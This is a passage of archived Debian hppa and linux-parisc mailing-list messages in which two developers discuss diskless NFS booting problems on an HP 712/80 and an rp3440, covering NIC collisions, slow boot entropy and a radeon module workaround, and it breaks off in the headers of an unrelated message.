Date: Thu, 19 Apr 2018 21:29:45 +0200
Lines: 171
Approved: news@gmane.org
Message-ID: <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524166084 30369 195.159.176.226 (19 Apr 2018 19:28:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Apr 2018 19:28:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Apr 19 21:27:59 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f9FDr-0007m4-ON
	for debian-hppa@m.gmane.org; Thu, 19 Apr 2018 21:27:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id CCC1BCD; Thu, 19 Apr 2018 19:30:10 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Thu Apr 19 19:30:10 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 31600C1
	for <lists-debian-hppa@bendel.debian.org>; Thu, 19 Apr 2018 19:30:01 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.1 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DIGITS_LETTERS=1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	LDO_WHITELIST=-5, MDO_CABLE_TV3=0.5, RCVD_IN_DNSWL_LOW=-0.7,
	RCVD_IN_MSPIKE_H2=-0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id u2g29rdIkdOR for <lists-debian-hppa@bendel.debian.org>;
	Thu, 19 Apr 2018 19:29:54 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.web.de (mout.web.de [212.227.15.4])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 94E7B8E
	for <debian-hppa@lists.debian.org>; Thu, 19 Apr 2018 19:29:54 +0000 (UTC)
Original-Received: from [192.168.178.29] ([217.247.36.89]) by smtp.web.de (mrweb002
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0MINI7-1f8xKm2hlH-004El7; Thu, 19
 Apr 2018 21:29:47 +0200
In-Reply-To: <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K1:ts9mmG+vIV5pyXZ8ivzZNuPDgzBfMWN0CtBL4c1/l7NR9h3urHc
 wR1i8y7NDWEo0yNsazjZFBgUcqC3oGE03Jr2WQoc/atAukq6z0UhcdULcxMPQgmzo3a8d/z
 lXWu+8SSfAFBipdYWy0z6w/XWotzAiyrd+yssCe5lMSZGy3cPTs/c7gMzQRbzx889VyIetY
 qn7IFbAHKzH6rjsxRIHfg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CSMHOkLEylA=:shrghIJSWA/JN9dmboWGR8
 9NRhcZW4Gmqam40N5QVGJ+xItKfTKUuXx3ZKF5lyFUiVf+8sLfgw39d2w/Cs0PcLYPoeX/FD8
 WOLisIpHy3Fa3y5uV6huCyzl88oJdLhlDavN+ctLQlE0hVfSEWjZrZmCzQlDZHHALLzCzIM4J
 hl3+elAWr61OeyKh8/tHHNOH7jcDn4XkDzNGcwdiAppVK24l+17+SjzKnT7TF9olJeCBCxB9a
 Bq/OINhRCXg7QXxsUoH2f0ap/l+n+fk/DqIHsEu9vDDMV907uIJCTYIvJOxbKEX0YQcIwRdz+
 C+STJMwZEkKnZiD8eZ25UC8WddRLvwB0SPUTMOlrDjtWam5eEfkcyZdvYcIir7NGUJOvHZHKY
 XWBsRm4rFJYukCEeWI5KyASsc73+MhLFFIt8nYGSRoy92+6zRZJ8k1MusDXHJBwr4ckAOlRIA
 A7HUdrHxTsNVoStx0Xez+85WqEmntze24CyMR1y4go/TeShvlie//1zhJRU2BvHWi15l3R4Ln
 6EuvS1HOz6j4QpOoqbDvgzGMH70QiyVbBN221h5MJNlSa7tdIE9UFEqWKhTbJJjlzgLVAG0bG
 u3R4pBquh+FGf9DFvug9ucCfoQohsdPzcceTLnmkV7umfQ8QgsWBjXiANS90A2B7rt5LJVYo3
 0exYXhuwduac0WqDWLTnJIROw9eECDdMK3BL+YSF1N6PQ7G4x59Wm8PdaMXP+jvBZ5qT1WQu5
 1816U8Vgh8F4cKQopFRmcBhkYiGO6kXS3bWZQID9hV6T0LUe7u8JZRhW2fh1LyuOTWC0aQNR 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <-21ulKvuEmL.A.9HC.C5O2aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8704
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de
Resent-Date: Thu, 19 Apr 2018 19:30:10 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7720 gmane.linux.ports.parisc:28510
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7720>

Hi,

and sorry for the delay, I was a little short of spare time this week. :-/

On 04/15/2018 10:34 AM, Helge Deller wrote:
> On 14.04.2018 20:13, Frank Scheiner wrote:
>> I know from my own testing that the following "smaller" machines work with Debian GNU/Linux Sid for hppa:
>>
>> * 712/80
>> * c3700, c3750, J5600, rp2470
>> * c8000, rp3440
>>
>> Apart from the rp3440 - and maybe also the 712/80 which showed some issue with it's built-in NIC after netbooting the Linux kernel and the OS
> 
> What kind of problems?

Unfortunately I seem to not have made any notes for the issue with the 
712/80, so I retried with the assumed issue creating configuration 
earlier this week:

This configuration was using a Debian Linux kernel 4.9.25-1 
(4.9.0-3-parisc from 2017-05-02). And when netbooting it, shortly after 
login the machine seems to loose contact to the NFS server:

```
[...]
[  OK  ] Started Serial Getty on ttyS0.
[  OK  ] Started Getty on tty1.
[  OK  ] Reached target Login Prompts.

Debian GNU/Linux buster/sid hp-712 ttyS0

hp-712 login: root
Password:
Last login: Thu Sep 18 11:30:50 CET 1902 from 172.16.1.1 on pts/0
Linux hp-712 4.9.0-3-parisc #1 Debian 4.9.25-1 (2017-05-02) parisc

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

[  232.973913] nfs: server 172.16.0.2 not responding, still trying
[  233.094265] nfs: server 172.16.0.2 not responding, still trying
[  233.205127] nfs: server 172.16.0.2 not responding, still trying
[  233.568429] nfs: server 172.16.0.2 not responding, still trying
[  233.692383] nfs: server 172.16.0.2 not responding, still trying
[  233.808818] nfs: server 172.16.0.2 not responding, still trying
[...]
[  235.179253] nfs: server 172.16.0.2 OK
[  235.251896] nfs: server 172.16.0.2 not responding, still trying
[...]
```

Although it seems to be able to reconnect from time to time, the machine 
is not accessible.

Afterwards I found some older notes about this machine which mention no 
issues during diskless operation with the very same configuration 
(kernel and possibly also userland), which made me wonder, if there's 
maybe an issue between the machine's built-in NIC and my used 1000 Mbit 
network switch. And indeed, when connecting another 100 Mbit network 
switch in between the 712/80 and the 1000 Mbit network switch the issue 
seemed to be gone and the machine stayed accessible .

But later this week I retried the 712/80 with the current Linux kernel 
(4.15.x) and Debian userland and the issue hit me again, although much 
later and despite the 100 Mbit network switch in between. Looking at it 
I could see that the collision indicator was active on the switch for 
the port used by the 712/80. I then configured a singular port of the 
1000 Mbit network switch to 10 Mbit full duplex and attached the 712/80 
to it. And then the issue again seemed to be gone. But trying to install 
a package or updating the package cache again quickly triggered it. Well 
that's not that of an issue, as I can do the package management for the 
712/80 with another machine (e.g. c8000).

Also interesting, the kernel messages for 4.15.11, please notice the 
time difference between "random: crng init done" and "Key type 
asymmetric registered":

```
[    0.000000] Linux version 4.15.0-2-parisc 
(debian-kernel@lists.debian.org) (gcc version 7.3.0 (Debian 7.3.0-12)) 
#1 Debian 4.15.11-1 (2018-03-20)
[    0.000000] unwind_init: start = 0x1086e8b4, end = 0x108c5644, 
entries = 22233
[    0.000000] FP[0] enabled: Rev 1 Model 13
[    0.000000] The 32-bit Kernel has started...
[...]
[    9.919844] workingset: timestamp_bits=14 max_order=15 bucket_order=1
[   10.168866] zbud: loaded
[   56.112387] random: crng init done
[  433.392379] Key type asymmetric registered
[  433.445502] Asymmetric key parser 'x509' registered
[...]
[  544.565451] systemd[1]: Detected architecture parisc.

Welcome to Debian GNU/Linux buster/sid!
[...]
[  OK  ] Started Serial Getty on ttyS0.
[  OK  ] Started Getty on tty1.
[  OK  ] Reached target Login Prompts.

Debian GNU/Linux buster/sid hp-712 ttyS0

hp-712 login:

```

...On first try I assumed the machine or the kernel would hang, but no, 
it was still working all the time.

Today I tested it again (with 4.15.11) and the issue this time hit me 
already during login, after I entered the username.

So I'm actually back at where I'm started. :-(

I suspect that maybe the built-in 82596 NIC cannot cope with the amount 
of traffic that happens during diskless operation - although I then 
wonder why it doesn't have a problem during the TFTP operation to load 
the lifimage. Next thing I'll examine will be the parameters used for 
the NFS mount (especially for rsize and wsize) - if I ever can login to 
it again :-). And maybe a fan for the passive heat sink of the CPU which 
gets quite hot during operation.

Any suggestions on where to look else?

****

For the rp3440 I (also) have to retract my earlier statement as it looks 
like my second rp3440 actually **works** diskless. I have to retest with 
my first rp3440 (currently in storage) as it seems it behaves 
differently in this regard - or maybe I misconfigured something there in 
the past. I have to recheck.

But for my second rp3440 I still had to blacklist the `radeon` module to 
achieve this, as otherwise the system (console) seems to crash shortly 
before the login prompt would have appeared or just after. This is my 
used kernel command line as configured with palo 1.99 and Linux 4.14.x:

```
Current command line:
0/vmlinux HOME=/ root=/dev/nfs ip=:::::enp32s2:dhcp 
modprobe.blacklist=radeon initrd=0/ramdisk TERM=vt102 console=ttyS0
  0: 0/vmlinux
  1: HOME=/
  2: root=/dev/nfs
  3: ip=:::::enp32s2:dhcp
  4: modprobe.blacklist=radeon
  5: initrd=0/ramdisk
  6: TERM=vt102
  7: console=ttyS0
```

Interestingly after upgrading all packages (obviously including palo) on 
the NFS root FS and building a new lifimage with Linux 4.15.x, 
blacklisting the radeon module seems to be no longer required. Not sure 
if this is due to palo 2.00 or Linux 4.15.x. Anyways the radeon module 
is no longer loaded automatically with this configuration.

****

So actually at least also the rp3440 can work diskless - good that you 
asked, Helge. :-)

Cheers,
Frank



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Fri, 20 Apr 2018 08:37:14 +0200
Lines: 172
Approved: news@gmane.org
Message-ID: <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524206130 26583 195.159.176.226 (20 Apr 2018 06:35:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 06:35:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Apr 20 08:35:26 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f9Pdm-0006ov-Ci
	for debian-hppa@m.gmane.org; Fri, 20 Apr 2018 08:35:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 49F6BF6; Fri, 20 Apr 2018 06:37:37 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Apr 20 06:37:37 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 8D7CB39F
	for <lists-debian-hppa@bendel.debian.org>; Fri, 20 Apr 2018 06:37:28 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.099 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DIGITS_LETTERS=1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	LDO_WHITELIST=-5, MD5_SHA1_SUM=-1, MDO_CABLE_TV3=0.5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 2DGHIpgyb-0O for <lists-debian-hppa@bendel.debian.org>;
	Fri, 20 Apr 2018 06:37:24 +0000 (UTC)
X-policyd-weight: DYN_NJABL=SKIP(0) NOT_IN_SBL_XBL_SPAMHAUS=-1.5 BL_NJABL=SKIP(-1.5) CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mout.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.20])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 13DFEF6
	for <debian-hppa@lists.debian.org>; Fri, 20 Apr 2018 06:37:23 +0000 (UTC)
Original-Received: from [192.168.20.60] ([89.244.181.192]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LlleO-1ea4qq1bGK-00ZR7K; Fri, 20
 Apr 2018 08:37:16 +0200
In-Reply-To: <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
Content-Language: en-US
X-Provags-ID: V03:K1:FXGXZikWFyHMW3J0m3BHXlwOe2G1lpMoaqGPHveYOxy4qqtNMIs
 5ZgQdLnEdfMBU0PyU/MM1OiCapJx490/l4Yt8W5xC1h2ZgsHsrMQso6U+3UL3zJD1nhJthZ
 snKWLfs+RMAD8iUv3L1DLkYgsAYY7c2kfQPO4hUo7+GlC/3csMx+aivnyqzJJvKkpwqnvV0
 SFmB6FAfof5IWbxJY9YxQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xADCqXJwcRA=:ZRIMoGnOVanWcbOJoLARuF
 uwPbsDt1a1qa0rIRhNixrA61A1QbkSE3teVnwyIif+LVlG3ulBg2orPNG+jpDAsHL+ESFuggZ
 uroHxlOvx91lTez+i1ct+qwRiYWSDd/C94Lsdi7OWB9Gcv09s1LCrQpGTo2FkKDOb9Vyjara7
 yyhvHt8EH77cE69g6pFYqf30w4hSkLbwmiveUXGhpi4/vpA+as38HffmYCkDa1kE0WkG7RmXl
 rZGAQ7D0Fn2YrPwAitQdTT4hlGT3/efBZzPr3O8mI4aESHrSqQ6EfBtUWGxtsQZCCer6ruaBC
 uD2fk68488lpX89/hYTPXU98z3DoBetW1CRNGMTvM51S2b1V+onENax1tDGhHQJxsr1yOvx+I
 NIWBsrNAcoPzfNiLXZGzFcBAOs+KHuftJmrtfmDsD+PxEeIWrWVdo3CqEYCeyCozInGq2BPtb
 nYBkRX+Kl6w1HioNbIMbi35+iDdNrocPDr8rYkYR1r3V7KEZBreM5KlPpQiz2k3XOmj/WW4SO
 jAlZAZediFXZhiKf/cwN1UORxpW9LLlT/OxaVh+LbTLbaspmRdk3RQbZdDef7n90I8jgIRg3a
 VQMVj4YSBn0UPj/qeXB+WVWY+MFmV4leUs67Js90jt4K5ZCPYliUB6prXBxkw4HEedQ0Rbxm4
 ZOE9i/pxcPo88qjucLK3SKvs8mL3QHpSXQbR4lFM6aOPTPmvFjFcK55LrhiEDEdvQfozkcOMV
 o50FbkdkvAoD4KtOuuJko3B+OnKNR5sYC362e6czP3NjpsVK5Ob+Wwy3PY8rW8f1wkSxK7sI 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <QJ1n6n06xCF.A.jaH.xqY2aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8707
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de
Resent-Date: Fri, 20 Apr 2018 06:37:37 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7723 gmane.linux.ports.parisc:28511
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7723>

On 19.04.2018 21:29, Frank Scheiner wrote:
>>> Apart from the rp3440 - and maybe also the 712/80 which showed some issue with it's built-in NIC after netbooting the Linux kernel and the OS
>>
>> What kind of problems?
> 
> Unfortunately I seem to not have made any notes for the issue with the 712/80, so I retried with the assumed issue creating configuration earlier this week:
> 
> This configuration was using a Debian Linux kernel 4.9.25-1 (4.9.0-3-parisc from 2017-05-02). And when netbooting it, shortly after login the machine seems to loose contact to the NFS server:
> 
> ```
> [...]
> [  OK  ] Started Serial Getty on ttyS0.
> [  OK  ] Started Getty on tty1.
> [  OK  ] Reached target Login Prompts.
> 
> Debian GNU/Linux buster/sid hp-712 ttyS0
> 
> hp-712 login: root
> Password:
> Last login: Thu Sep 18 11:30:50 CET 1902 from 172.16.1.1 on pts/0
> Linux hp-712 4.9.0-3-parisc #1 Debian 4.9.25-1 (2017-05-02) parisc
> 
> The programs included with the Debian GNU/Linux system are free software;
> the exact distribution terms for each program are described in the
> individual files in /usr/share/doc/*/copyright.
> 
> Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
> permitted by applicable law.
> 
> [  232.973913] nfs: server 172.16.0.2 not responding, still trying
> [  233.094265] nfs: server 172.16.0.2 not responding, still trying
> [  233.205127] nfs: server 172.16.0.2 not responding, still trying
> [  233.568429] nfs: server 172.16.0.2 not responding, still trying
> [  233.692383] nfs: server 172.16.0.2 not responding, still trying
> [  233.808818] nfs: server 172.16.0.2 not responding, still trying
> [...]
> [  235.179253] nfs: server 172.16.0.2 OK
> [  235.251896] nfs: server 172.16.0.2 not responding, still trying
> [...]
> ```
> 
> Although it seems to be able to reconnect from time to time, the machine is not accessible.
> 
> Afterwards I found some older notes about this machine which mention
> no issues during diskless operation with the very same configuration
> (kernel and possibly also userland), which made me wonder, if there's
> maybe an issue between the machine's built-in NIC and my used 1000
> Mbit network switch. And indeed, when connecting another 100 Mbit
> network switch in between the 712/80 and the 1000 Mbit network switch
> the issue seemed to be gone and the machine stayed accessible .
> 
> But later this week I retried the 712/80 with the current Linux
> kernel (4.15.x) and Debian userland and the issue hit me again,
> although much later and despite the 100 Mbit network switch in
> between. Looking at it I could see that the collision indicator was
> active on the switch for the port used by the 712/80. I then
> configured a singular port of the 1000 Mbit network switch to 10 Mbit
> full duplex and attached the 712/80 to it. And then the issue again
> seemed to be gone. But trying to install a package or updating the
> package cache again quickly triggered it. Well that's not that of an
> issue, as I can do the package management for the 712/80 with another
> machine (e.g. c8000).
> 
> Also interesting, the kernel messages for 4.15.11, please notice the
> time difference between "random: crng init done" and "Key type
> asymmetric registered":
Seems to be a generic issue.
https://www.linuxquestions.org/questions/showthread.php?p=5803405#post5803405

My assumption is, that the kernel waits until it has
enough randomness for the various encryption algorithms. 

> 
> ```
> [    0.000000] Linux version 4.15.0-2-parisc (debian-kernel@lists.debian.org) (gcc version 7.3.0 (Debian 7.3.0-12)) #1 Debian 4.15.11-1 (2018-03-20)
> [    0.000000] unwind_init: start = 0x1086e8b4, end = 0x108c5644, entries = 22233
> [    0.000000] FP[0] enabled: Rev 1 Model 13
> [    0.000000] The 32-bit Kernel has started...
> [...]
> [    9.919844] workingset: timestamp_bits=14 max_order=15 bucket_order=1
> [   10.168866] zbud: loaded
> [   56.112387] random: crng init done
> [  433.392379] Key type asymmetric registered
> [  433.445502] Asymmetric key parser 'x509' registered
> [...]
> [  544.565451] systemd[1]: Detected architecture parisc.
> 
> Welcome to Debian GNU/Linux buster/sid!
> [...]
> [  OK  ] Started Serial Getty on ttyS0.
> [  OK  ] Started Getty on tty1.
> [  OK  ] Reached target Login Prompts.
> 
> Debian GNU/Linux buster/sid hp-712 ttyS0
> 
> hp-712 login:
> 
> ```
> 
> ...On first try I assumed the machine or the kernel would hang, but no, it was still working all the time.
> 
> Today I tested it again (with 4.15.11) and the issue this time hit me already during login, after I entered the username.
> 
> So I'm actually back at where I'm started. :-(
> 
> I suspect that maybe the built-in 82596 NIC cannot cope with the
> amount of traffic that happens during diskless operation - although I
> then wonder why it doesn't have a problem during the TFTP operation
> to load the lifimage.
When loading via TFTP not much traffic is generated.

> Next thing I'll examine will be the parameters used for the NFS mount
> (especially for rsize and wsize) - if I ever can login to it again
> :-). And maybe a fan for the passive heat sink of the CPU which gets
> quite hot during operation.
> 
> Any suggestions on where to look else?

Not really.


> 
> ****
> 
> For the rp3440 I (also) have to retract my earlier statement as it
> looks like my second rp3440 actually **works** diskless. I have to
> retest with my first rp3440 (currently in storage) as it seems it
> behaves differently in this regard - or maybe I misconfigured
> something there in the past. I have to recheck.
> 
> But for my second rp3440 I still had to blacklist the `radeon` module
> to achieve this, as otherwise the system (console) seems to crash
> shortly before the login prompt would have appeared or just after.
> This is my used kernel command line as configured with palo 1.99 and
> Linux 4.14.x:
> 
> ```
> Current command line:
> 0/vmlinux HOME=/ root=/dev/nfs ip=:::::enp32s2:dhcp modprobe.blacklist=radeon initrd=0/ramdisk TERM=vt102 console=ttyS0
>  0: 0/vmlinux
>  1: HOME=/
>  2: root=/dev/nfs
>  3: ip=:::::enp32s2:dhcp
>  4: modprobe.blacklist=radeon
>  5: initrd=0/ramdisk
>  6: TERM=vt102
>  7: console=ttyS0
> ```
> 
> Interestingly after upgrading all packages (obviously including palo)
> on the NFS root FS and building a new lifimage with Linux 4.15.x,
> blacklisting the radeon module seems to be no longer required. Not
> sure if this is due to palo 2.00 or Linux 4.15.x. Anyways the radeon
> module is no longer loaded automatically with this configuration.

There were two issues fixed regarding rp3440.
1. The radeon module on the management board is automatically
disabled by the Linux kernel. This fixes crashes/hangs.
2. The serial port on the management board is disabled by the
Linux kernel.
-> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bcf3f1752a622f1372d3252d0fea8855d89812e7

Older versions of palo tried to work around problem #2 by 
giving kernel parameter "console=ttyS1" to the Linux kernel when
booting.
So, since you upgraded palo and kernel both workarounds aren't
necessary any longer and rp-class machines should work without
any further quirks.

Helge



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: (unknown)
Date: Fri, 20 Apr 2018 10:02:51 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211278 12558 195.159.176.226 (20 Apr 2018 08:01:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:01:18 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Apr 20 10:01:12 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9Qyl-00036z-Pd
	for gla-linux-snps-arc@m.gmane.org; Fri, 20 Apr 2018 10:01:11 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=++DCeC6urNmYjKbvTu8kW/8Jzz4XD2sy3clydZ4wJOw=; b=YKY
	LFze+W0J1FxEmOq3BLclqp3ZaWKYZZRA6XJnQbv67WvilkM9nbp4vxl5P3zDjjINmNGF7GeZe420r
	zp1J4ob0353MPe3dE5wOCdeEVC7iR4+FI1oHl9BkdTZFyBehEoXnkH5hsjKnk92dw24j/r4fiDclV
